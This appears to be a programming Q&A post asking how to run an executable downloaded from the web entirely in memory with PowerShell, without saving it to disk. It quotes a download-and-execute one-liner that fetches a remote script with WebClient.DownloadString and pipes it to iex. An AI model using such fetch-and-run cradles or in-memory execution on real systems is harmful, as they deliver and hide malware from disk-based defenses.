title: Executing Executables In Memory With Powershell
body: <p>I have an executable on an internet page and I want to be able to run it without saving it to the local disk using powershell. It should basically function like iex but run an executable that's already in the memory and stored in some kind of variable. And again, I want to do all of that in Powershell.</p>
  <p>Example.</p>
  <pre><code>(New-Object System.Net.WebClient).DownloadString(&quot;http://example.com&quot;) | iex
  </code></pre>
  <p>Here we can download scripts and run them in the memory without saving anything to the disk. But it's only a sequence of characters that we're executing here. Basically a powershell script. I want to run executables the same way. Is that possible? If so, how?</p>